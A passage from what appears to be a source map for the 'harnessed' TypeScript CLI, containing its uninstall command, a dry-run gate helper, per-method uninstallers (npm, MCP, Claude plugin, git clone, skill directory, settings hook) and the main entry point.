users)')\n .option('--yes', 'skip interactive confirm (CI / scripts) — fatal with --dry-run')\n .option('--non-interactive', 'alias for --yes (CI compat)')\n .action(async (name: string, raw: RawOpts) => {\n // v3.0.1 UX flip — apply-immediate default。dryRun=true → preview only。\n // dryRun=false → immediate execute。`--yes` 仍可 skip interactive\n // confirm prompt (用户显式 opt-in CI / scripts)。\n // H1 gate: --yes + --dry-run 互斥 (dry-run 不 mutate, --yes 无意义)。\n const yes = raw.yes === true || raw.nonInteractive === true\n if (yes && raw.dryRun) {\n console.error(\n `${t('uninstall.yes_dryrun_conflict')}\\n${t('uninstall.yes_dryrun_conflict.fix', { name })}`,\n )\n process.exit(2)\n }\n\n // Alias resolution (sister install.ts pattern).\n const { resolveAlias } = await import('../manifest/aliases.js')\n const resolvedName = resolveAlias(name) ?? name\n // R10.4 D-04 hardening site 2 — screen resolved alias redirect (defense-in-depth).\n checkPathSafe(resolvedName)\n\n // Manifest lookup (tools/ first, skill-packs/ fallback).\n const manifestPath = resolve(getPackageRoot(), `manifests/tools/${resolvedName}.yaml`)\n const skillPackPath = resolve(getPackageRoot(), `manifests/skill-packs/${resolvedName}.yaml`)\n let yamlSrc: string\n let chosenPath = manifestPath\n try {\n yamlSrc = await readFile(manifestPath, 'utf8')\n } catch {\n try {\n yamlSrc = await readFile(skillPackPath, 'utf8')\n chosenPath = skillPackPath\n } catch {\n console.error(\n `${t('install.manifest_not_found', { name: resolvedName })}\\n${t('install.manifest_not_found.fix', { name: resolvedName })}`,\n )\n process.exit(1)\n }\n }\n\n const v = validateManifestFile(yamlSrc, chosenPath)\n if (!v.ok) {\n for (const e of v.errors) console.error(`error: ${e.message} at ${e.path}`)\n process.exit(1)\n }\n\n const method = v.manifest.spec.install.method\n // v3.0.1 UX flip — dry-run is opt-in only (raw.dryRun === true)。\n // apply-immediate by default。\n const dryRun = raw.dryRun === true\n\n // Dry-run preview path (opt-in --dry-run only).\n if (dryRun) {\n console.log(t('uninstall.dry_run.preview', { name: resolvedName, method }))\n console.log(t('uninstall.dry_run.run_hint'))\n process.exit(2)\n }\n\n // Interactive confirm protects destructive op (skip only with --yes).\n if (!yes) {\n const answer = await p.confirm({\n message: t('uninstall.confirm.prompt', { name: resolvedName }),\n initialValue: false,\n })\n if (p.isCancel(answer) || answer === false) {\n console.error(t('uninstall.cancelled'))\n process.exit(2)\n }\n }\n\n const opts = { apply: true, dryRun: false, yes }\n const result = await runUninstall(v.manifest, opts)\n\n if ('aborted' in result) {\n console.error(t('install.aborted', { reason: result.reason }))\n process.exit(2)\n }\n if (result.ok) {\n console.log(t('uninstall.completed', { name: resolvedName }))\n process.exit(0)\n }\n console.error(`error: ${result.error}`)\n process.exit(1)\n })\n}\n","// Phase 5.2 W0 #BI — extract dry-run gate duplicate from 7 installer files.\n// Sister: src/installers/lib/err.ts (Phase 5.1 W0 #BG extract pattern).\n//\n// 7-site duplicate pattern (npmCli + mcpStdioAdd + mcpHttpAdd +\n// ccPluginMarketplace + gitCloneWithSetup + npxSkillInstaller + ccHookAdd):\n// if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n//\n// Used by all 7 src/uninstallers/*.ts (Wave 1 T1.2).\n// NOT used by installers/ — installer files unchanged Phase 5.2.\n\n/** Minimal context shape — expanded by src/uninstallers/lib/types.ts (T1.1). */\ninterface DryRunCtx {\n opts: { dryRun: boolean }\n}\n\n/** Dry-run abort result — mirrors UninstallResult aborted variant (T1.1). */\ntype AbortResult = { aborted: true; reason: 'dry-run' }\n\n/**\n * Returns an abort result if ctx.opts.dryRun is true, otherwise null.\n * Callers: `const abort = dryRunGate(ctx); if (abort) return abort`\n */\nexport function dryRunGate(ctx: DryRunCtx): AbortResult | null {\n if (ctx.opts.dryRun) return { aborted: true, reason: 'dry-run' }\n return null\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 7/7: cc-hook-add.\n// Reverse JSON deep-merge: filter matching hook entry from ~/.claude/settings.json.\n// Idempotent: settings.json absent or hook not present → ok:true noop.\n// Sister: src/installers/ccHookAdd.ts — inverse of install-time merge.\n\nimport { readFile, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\ninterface Settings {\n hooks?: Record<string, { matcher?: string; command: string }[]>\n [k: string]: unknown\n}\n\nexport const uninstallCcHookAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-hook-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let existing: string\n try {\n existing = await readFile(settingsPath, 'utf8')\n } catch {\n // File absent — hook can't be present, idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n let settings: Settings\n try {\n settings = JSON.parse(existing) as Settings\n } catch (e) {\n return {\n ok: false,\n phase: 'preflight',\n error: `malformed settings.json: ${(e as Error).message.slice(0, 200)}`,\n }\n }\n\n const ev = install.hook_event\n const cmd = install.hook_command\n const matcher = install.hook_matcher\n\n if (!settings.hooks?.[ev]) {\n // Hook event block absent — idempotent noop.\n return { ok: true, removedPaths: [] }\n }\n\n const before = settings.hooks[ev].length\n settings.hooks[ev] = settings.hooks[ev].filter(\n (h) => !(h.command === cmd && h.matcher === matcher),\n )\n\n // Clean up empty hook event array.\n if (settings.hooks[ev].length === 0) delete settings.hooks[ev]\n if (Object.keys(settings.hooks).length === 0) delete settings.hooks\n\n if (settings.hooks?.[ev]?.length === before || before === settings.hooks?.[ev]?.length) {\n // No change — hook was not present, idempotent noop.\n }\n\n const newText = `${JSON.stringify(settings, null, 2)}\\n`\n await writeFile(settingsPath, newText)\n\n return { ok: true, removedPaths: [settingsPath] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 4/7: cc-plugin-marketplace.\n// BDL T1.0: `claude plugin uninstall <plugin>@<marketplace>` (scope defaults user).\n// parseCmd inline — single caller, YAGNI per RESEARCH § 7 Q2.\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/ccPluginMarketplace.ts parseCmd — extract pluginAtMkt only.\nfunction extractPluginAtMkt(cmd: string): string | null {\n const m = cmd.match(/(?:\\/?plugin)\\s+install\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return null\n const pluginAtMkt = m[1].replace(/[;&]+$/, '')\n return pluginAtMkt.includes('@') ? pluginAtMkt : null\n}\n\nexport const uninstallCcPluginMarketplace: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'cc-plugin-marketplace') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const pluginAtMkt = extractPluginAtMkt(install.cmd)\n if (!pluginAtMkt) {\n return {\n ok: false,\n phase: 'preflight',\n error: `cc-plugin-marketplace cmd missing plugin install <plugin>@<marketplace>: '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n const r = await runArgs(['plugin', 'uninstall', pluginAtMkt], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude plugin uninstall exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pluginAtMkt] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 5/7: git-clone-with-setup.\n// Node 22 native fs.rm cross-OS (no shell spawn per RESEARCH zero-risk).\n// extractCloneTarget inline — sister src/installers/gitCloneWithSetup.ts L70-98 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/gitCloneWithSetup.ts extractCloneTarget — refactor to shared lib if 3rd caller appears.\nfunction extractCloneTarget(cmd: string): string | null {\n const idx = cmd.indexOf('git clone')\n if (idx < 0) return null\n const tail = cmd.slice(idx + 'git clone'.length).trim()\n const tokens = tail.split(/\\s+/)\n let i = 0\n while (i < tokens.length) {\n const t = tokens[i]\n if (t === undefined || !t.startsWith('-')) break\n if (t === '--depth' || t === '--branch' || t === '-b') {\n i += 2\n } else if (t.includes('=')) {\n i += 1\n } else {\n i += 2\n }\n }\n const dest = tokens[i + 1]\n if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n if (dest.startsWith('~/')) {\n const home = process.env.HOME ?? process.env.USERPROFILE\n if (!home) return null\n return `${home}${dest.slice(1)}`\n }\n return dest\n}\n\nexport const uninstallGitCloneWithSetup: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'git-clone-with-setup') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const cloneTarget = extractCloneTarget(install.cmd)\n if (!cloneTarget) {\n return {\n ok: false,\n phase: 'preflight',\n error: `git-clone-with-setup cmd missing parseable 'git clone <url> <dest>': '${install.cmd.slice(0, 80)}'`,\n }\n }\n\n await rm(cloneTarget, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [cloneTarget] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 3/7: mcp-http-add.\n// BDL T1.0: `claude mcp remove <name>` transport-agnostic (same cmd as mcpStdioAdd).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpHttpAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-http-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 2/7: mcp-stdio-add.\n// BDL T1.0: `claude mcp remove <name>` (no --scope needed; transport-agnostic).\n// Reuses runArgs from installers/lib/runClaudeArgs.ts (#BF Phase 5.1 W0).\n\nimport { runArgs } from '../installers/lib/runClaudeArgs.js'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallMcpStdioAdd: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'mcp-stdio-add') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const r = await runArgs(['mcp', 'remove', name], ctx.cwd)\n if (r.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `claude mcp remove exited ${r.exitCode}: ${r.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [name] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 1/7: npm-cli.\n// D-02: ephemeral detect (npx --yes / npx -y in install.cmd) → no-op + warn exit 0.\n// Otherwise: `npm uninstall <pkg>` via direct spawn (NOT runArgs — runArgs prefixes 'claude').\n\nimport { spawn } from 'node:child_process'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\nexport const uninstallNpmCli: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npm-cli') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n // D-02: ephemeral detect — npx --yes / npx -y means runtime-only, nothing to uninstall.\n if (/\\bnpx\\s+(--yes|-y)\\b/.test(install.cmd)) {\n const name = ctx.manifest.metadata.name\n console.warn(\n `ephemeral install: nothing to uninstall ('${name}' uses 'npx --yes' runtime-only invocation; no persistent install to remove)`,\n )\n return { ok: true, removedPaths: [] }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n // Extract package name from install.cmd (e.g. \"npm install -g ctx7\" → \"ctx7\")\n const m = install.cmd.match(/npm\\s+(?:install|i)\\s+(?:-g\\s+)?(\\S+)/)\n const pkg = m?.[1] ?? ctx.manifest.metadata.upstream.source\n\n const isWin = process.platform === 'win32'\n const result = await new Promise<{ exitCode: number; stderr: string }>((resolve) => {\n const child = isWin\n ? spawn('cmd.exe', ['/c', 'npm', 'uninstall', '-g', pkg], { windowsHide: true })\n : spawn('npm', ['uninstall', '-g', pkg], { shell: false })\n let stderr = ''\n child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n stderr += c\n })\n const timer = setTimeout(() => {\n child.kill('SIGKILL')\n resolve({ exitCode: -1, stderr: `${stderr}[timeout]` })\n }, 30_000)\n child.on('error', (e) => {\n clearTimeout(timer)\n resolve({ exitCode: -1, stderr: e.message })\n })\n child.on('close', (code) => {\n clearTimeout(timer)\n resolve({ exitCode: code ?? -1, stderr })\n })\n })\n\n if (result.exitCode !== 0) {\n return {\n ok: false,\n phase: 'spawn',\n error: `npm uninstall exited ${result.exitCode}: ${result.stderr.slice(0, 200)}`,\n }\n }\n return { ok: true, removedPaths: [pkg] }\n}\n","// Phase 5.2 W1 T1.2 — uninstall method 6/7: npx-skill-installer.\n// NOT ephemeral (npxSkill writes persistent files per RESEARCH § 2 L155 + Pitfall 2).\n// extractSkillName inline — sister src/installers/npxSkillInstaller.ts L47-54 YAGNI.\n\nimport { rm } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { dryRunGate } from './lib/runOrPreview.js'\nimport type { Uninstaller } from './lib/types.js'\n\n// sister src/installers/npxSkillInstaller.ts extractSkillName — refactor to shared lib if 3rd caller appears.\nfunction extractSkillName(cmd: string, fallback: string): string {\n const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n if (!m || m[1] === undefined) return fallback\n const ref = m[1]\n const seg = ref.split('/')\n return seg[seg.length - 1] ?? fallback\n}\n\nexport const uninstallNpxSkillInstaller: Uninstaller = async (ctx) => {\n const install = ctx.manifest.spec.install\n if (install.method !== 'npx-skill-installer') {\n return { ok: false, phase: 'preflight', error: `dispatch bug: ${install.method}` }\n }\n\n const abort = dryRunGate(ctx)\n if (abort) return abort\n\n const name = ctx.manifest.metadata.name\n const skillName = extractSkillName(install.cmd, name)\n const skillDir = join(homedir(), '.claude', 'skills', skillName)\n\n await rm(skillDir, { recursive: true, force: true, maxRetries: 3 })\n return { ok: true, removedPaths: [skillDir] }\n}\n","// Phase 5.2 W1 T1.2 — uninstaller dispatch table.\n// Sister: src/installers/index.ts symmetric pattern.\n// D-01 LOCKED: per-method 7 files (no levelOf() — uninstall has no L4 --system gate).\n\nimport { uninstallCcHookAdd } from './ccHookAdd.js'\nimport { uninstallCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { uninstallGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport type { Manifest, Uninstaller, UninstallOpts, UninstallResult } from './lib/types.js'\nimport { uninstallMcpHttpAdd } from './mcpHttpAdd.js'\nimport { uninstallMcpStdioAdd } from './mcpStdioAdd.js'\nimport { uninstallNpmCli } from './npmCli.js'\nimport { uninstallNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const uninstallers: Record<Manifest['spec']['install']['method'], Uninstaller> = {\n 'npm-cli': uninstallNpmCli,\n 'mcp-stdio-add': uninstallMcpStdioAdd,\n 'mcp-http-add': uninstallMcpHttpAdd,\n 'cc-plugin-marketplace': uninstallCcPluginMarketplace,\n 'git-clone-with-setup': uninstallGitCloneWithSetup,\n 'npx-skill-installer': uninstallNpxSkillInstaller,\n 'cc-hook-add': uninstallCcHookAdd,\n}\n\nexport async function runUninstall(\n manifest: Manifest,\n opts: UninstallOpts,\n): Promise<UninstallResult> {\n const uninstaller = uninstallers[manifest.spec.install.method]\n return uninstaller({ manifest, opts, cwd: process.cwd() })\n}\n","#!/usr/bin/env node\nimport { Command } from 'commander'\nimport pkg from '../package.json' with { type: 'json' }\nimport { registerAudit } from './cli/audit.js'\nimport { registerAuditLog } from './cli/audit-log.js'\nimport { registerBackupList } from './cli/backup-list.js'\nimport { registerDoctor } from './cli/doctor.js'\nimport { registerExecuteTask } from './cli/execute-task.js'\nimport { registerGc } from './cli/gc.js'\nimport { registerInstall } from './cli/install.js'\nimport { registerInstallBase } from './cli/install-base.js'\nimport { registerManifestAdd } from './cli/manifest-add.js'\nimport { registerResearch } from './cli/research.js'\nimport { registerResume } from './cli/resume.js'\nimport { registerRollback } from './cli/rollback.js'\nimport { registerRun } from './cli/run.js'\nimport { registerSetup } from './cli/setup.js'\nimport { registerStatus } from './cli/status.js'\nimport { registerUninstall } from './cli/uninstall.js'\nimport { setLocale } from './i18n/index.js'\nimport { migrateLegacyHarnessedRoot } from './installers/lib/harnessedRoot.js'\n\n// v3.0.3 — migrate any pre-v3.0.3 `~/.harnessed/` to `~/.claude/harnessed/`\n// before any subcommand runs. Idempotent on subsequent invocations.\nmigrateLegacyHarnessedRoot()\n\n// v3.4.0 — pre-parse `--lang` flag so subcommand action handlers see the\n// correct locale before they emit any t()-wrapped strings. Commander parses\n// global flags eagerly via `program.parse`, but the lazy detect inside\n// `getLocale()` would otherwise resolve to env/Intl on first t() call before\n// the flag handler ran. Scanning argv here mirrors gnu getopt convention.\nconst argv = process.argv\nfor (let i = 2; i < argv.length; i++) {\n const a = argv[i]\n if (a === '--lang' && i + 1 < argv.length) {\n setLocale(argv[i + 1])\n break\n }\n if (a?.startsWith('--lang=')) {\n setLocale(a.slice('--lang='.length))\n break\n }\n}\n\nconst program = new Command()\n\nprogram\n .name('harnessed')\n .description('AI coding harness package manager + composition orchestrator')\n .version(pkg.version)\n .option('--lang <code>', 'output language: en | zh (auto-detect from $LANG / Intl if absent)')\n\n// 12 subcommands per ADR 0004 + 0007 + 0008 + 0011 + 0012 + 0014 draft\n// (execute-task added in phase 2.2 — B-28 独立子命令;\n// manifest-add added in phase 2.3 W3 T3.2 — EE-5 5Q merge gate, D-03 BOTH 双闸 L1;\n// resume added in phase 3.1 W4 T4.4 — R7.3 D-03 RELOAD checkpoint reload).\nregisterInstall(program)\nregisterInstallBase(program)\nregisterResearch(program)\nregisterExecuteTask(program)\nregisterManifestAdd(program)\nregisterDoctor(program)\nregisterAudit(program)\nregisterAuditLog(program) // Phase 5.1 W1 T1.3 — 13th subcommand (R10.1 D-01 jq filter consumer)\nregisterRollback(program)\nregisterStatus(program)\nregisterBackupList(program)\nregisterGc(program)\nregisterResume(program) // Phase 3.1 W4 T4.4 — 12th subcommand (R7.3 D-03 RELOAD)\nregisterUninstall(program) // Phase 5.2 W1 T1.1 — 14th subcommand (R10.3 D-01 7-method dispatch)\nregisterSetup(program) // v1.0.1 T1.5 — 15th subcommand (one-time onboarding workflows/*/SKILL.md → ~/.claude/skills/)\nregisterRun(program) // v3.4.4 T1 — 16th subcommand (α CLI wire; replaces dead SlashCommand vapor in commands/<x>.md)\n\nprogram.parse(process.argv)\n"]}